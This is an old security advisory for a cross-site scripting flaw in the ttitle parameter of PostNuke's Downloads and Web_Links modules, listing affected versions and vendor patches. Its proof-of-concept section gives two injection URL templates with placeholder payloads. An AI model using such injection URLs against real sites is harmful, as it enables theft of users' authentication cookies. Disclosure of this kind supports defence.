PostNuke Downloads / Web_Links Modules TTitle Cross-site Scripting Vulnerability

BID:8374

Info

PostNuke Downloads / Web_Links Modules TTitle Cross-site Scripting Vulnerability

Bugtraq ID: 8374
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 08 2003 12:00AM
Updated: Aug 08 2003 12:00AM
Credit: The disclosure of this issue has been credited to Lorenzo Hernandez Garcia-Hierro <[email protected]>.
Vulnerable: PostNuke Development Team PostNuke Phoenix 0.726
PostNuke Development Team PostNuke Phoenix 0.723
PostNuke Development Team PostNuke Phoenix 0.722
PostNuke Development Team PostNuke Phoenix 0.721
PostNuke Development Team PostNuke 0.721
PostNuke Development Team PostNuke 0.703
PostNuke Development Team PostNuke 0.72
PostNuke Development Team PostNuke 0.71
PostNuke Development Team PostNuke 0.70
PostNuke Development Team PostNuke 0.64
- Apache Apache 1.3.20
- Apache Apache 1.3.20
PostNuke Development Team PostNuke 0.63
- Apache Apache 1.3.20
- Apache Apache 1.3.20
PostNuke Development Team PostNuke 0.62
- Apache Apache 1.3.20
- Apache Apache 1.3.20
PostNuke Development Team PostNuke 0.7
Not Vulnerable:

Discussion

PostNuke Downloads / Web_Links Modules TTitle Cross-site Scripting Vulnerability

It has been reported that a cross site scripting vulnerability exists in the Downlaods and Web_Links modules of PostNuke. It is possible that an attacker may construct a link containing malicious script code that could be executed in a browser of a user who visits the link.

Exploitation could allow theft of authentication cookies.

Exploit / POC

PostNuke Downloads / Web_Links Modules TTitle Cross-site Scripting Vulnerability

The following proof of concept has been provided:

http://www.example.com/[PATH]/modules.php?
op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=[ID]
&ttitle=[Yeye XSS ;-)]"%3e[XSS ATTACK]

http://www.example.com/[PATH]/modules.php?
op=modload&name=Web_Links&file=index&req=viewlinkdetails&lid=[ID]
&ttitle=[MORE ? ;-(]"%3e[XSS ATTACK]

Solution / Fix

PostNuke Downloads / Web_Links Modules TTitle Cross-site Scripting Vulnerability

Solution:
Vendor supplied patch and upgrade available:


PostNuke Development Team PostNuke Phoenix 0.721

PostNuke Development Team PostNuke Phoenix 0.722

PostNuke Development Team PostNuke Phoenix 0.723

PostNuke Development Team PostNuke Phoenix 0.726

References

PostNuke Downloads / Web_Links Modules TTitle Cross-site Scripting Vulnerability

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